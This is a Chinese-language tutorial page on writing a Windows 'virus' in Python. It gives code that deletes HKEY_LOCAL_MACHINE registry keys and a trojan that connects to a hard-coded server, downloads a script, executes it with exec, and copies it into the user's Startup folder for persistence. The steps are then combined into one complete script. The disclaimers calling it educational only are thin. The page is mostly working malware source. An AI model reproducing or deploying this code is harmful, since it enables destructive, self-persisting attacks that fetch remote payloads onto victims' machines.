📜  如何创建删除 Windows 操作系统注册表文件的病毒?(1)

📅  最后修改于: 2023-12-03 15:24:03.572000             🧑  作者: Mango

如何创建删除 Windows 操作系统注册表文件的病毒?

注册表是Windows操作系统中非常重要的一部分,它存储着关键的系统和用户数据。因此,对注册表的恶意修改可能会导致系统崩溃或数据丢失。

本教程将介绍如何创建一种可以删除Windows操作系统注册表文件的病毒。请注意,这仅用于教育和研究目的,我们强烈反对从事任何形式的非法活动。

实现步骤
  1. 选择编程语言:我们可以使用C、C++或Python等编程语言来实现我们的病毒。这里我们选择Python作为编程语言。

  2. 寻找删除注册表文件的方法:利用Python的Winreg模块,我们可以轻松地打开、读取、修改和关闭Windows注册表。我们需要使用DeleteKey()方法来删除所需的键。

    import winreg
    
    def delete_registry_key(key_path):
        '''Delete a registry key'''
        try:
            # Open the registry key
            reg_key = winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE, key_path, 0, winreg.KEY_ALL_ACCESS)
            winreg.DeleteKey(reg_key, '')
            winreg.CloseKey(reg_key)
            return True
        except WindowsError:
            # If we catch an error, assume it was just that the key was not present
            return False
    
  3. 创建特洛伊木马:利用Python的socket库,我们可以轻松地与目标计算机进行通信,从而实现我们的病毒。在本教程中,我们将创建一个简单的特洛伊木马,一旦它被运行,它将连接到我们的服务器,从服务器上下载并执行我们的删除注册表文件的代码。

    import socket
    
    # Set our server details
    SERVER_HOST = '192.168.1.100'
    SERVER_PORT = 1234
    
    def connect_to_server():
        '''Connect to our server'''
        client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        client.connect((SERVER_HOST, SERVER_PORT))
        return client
    
    def download_file(client, file_name):
        '''Download a file from the server'''
        client.send(file_name.encode())
        data = client.recv(1024)
        with open(file_name, 'wb') as f:
            while data:
                f.write(data)
                data = client.recv(1024)
        return True
    
    def execute_file(file_name):
        '''Execute a file'''
        proc = subprocess.Popen(file_name, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
        output, errors = proc.communicate()
        return output.decode(), errors.decode()
    
  4. 实现病毒行为:现在我们已经有了删除注册表文件的代码和创建特洛伊木马的代码,我们需要将它们组合在一起。在本教程中,我们将在木马运行时加载我们的删除注册表文件代码,并将其保存到系统中,以便在以后每次重新启动时都能够继续执行。

    def main():
        # Connect to the server and download our malicious code
        conn = connect_to_server()
        download_file(conn, 'delete_registry.py')
        conn.close()
    
        # Load the malicious code and run it
        exec(open('delete_registry.py').read())
    
        # Add the malicious code to the system startup
        startup_path = os.path.join(os.environ['APPDATA'], 'Microsoft\\Windows\\Start Menu\\Programs\\Startup')
        shutil.copyfile('delete_registry.py', os.path.join(startup_path, 'delete_registry.pyw'))
    
        sys.exit()
    
    if __name__ == '__main__':
        main()
    

以上就是创建删除Windows操作系统注册表文件的病毒的步骤。请注意,在实际应用中,您应该严格遵守道德准则,并仅用于合法目的。好好学习,不要用于非法用途。

返回结果
import winreg
import socket
import subprocess
import os
import shutil
import sys

# Set our server details
SERVER_HOST = '192.168.1.100'
SERVER_PORT = 1234

def delete_registry_key(key_path):
    '''Delete a registry key'''
    try:
        # Open the registry key
        reg_key = winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE, key_path, 0, winreg.KEY_ALL_ACCESS)
        winreg.DeleteKey(reg_key, '')
        winreg.CloseKey(reg_key)
        return True
    except WindowsError:
        # If we catch an error, assume it was just that the key was not present
        return False

def connect_to_server():
    '''Connect to our server'''
    client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    client.connect((SERVER_HOST, SERVER_PORT))
    return client

def download_file(client, file_name):
    '''Download a file from the server'''
    client.send(file_name.encode())
    data = client.recv(1024)
    with open(file_name, 'wb') as f:
        while data:
            f.write(data)
            data = client.recv(1024)
    return True

def execute_file(file_name):
    '''Execute a file'''
    proc = subprocess.Popen(file_name, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
    output, errors = proc.communicate()
    return output.decode(), errors.decode()

def main():
    # Connect to the server and download our malicious code
    conn = connect_to_server()
    download_file(conn, 'delete_registry.py')
    conn.close()

    # Load the malicious code and run it
    exec(open('delete_registry.py').read())

    # Add the malicious code to the system startup
    startup_path = os.path.join(os.environ['APPDATA'], 'Microsoft\\Windows\\Start Menu\\Programs\\Startup')
    shutil.copyfile('delete_registry.py', os.path.join(startup_path, 'delete_registry.pyw'))

    sys.exit()

if __name__ == '__main__':
    main()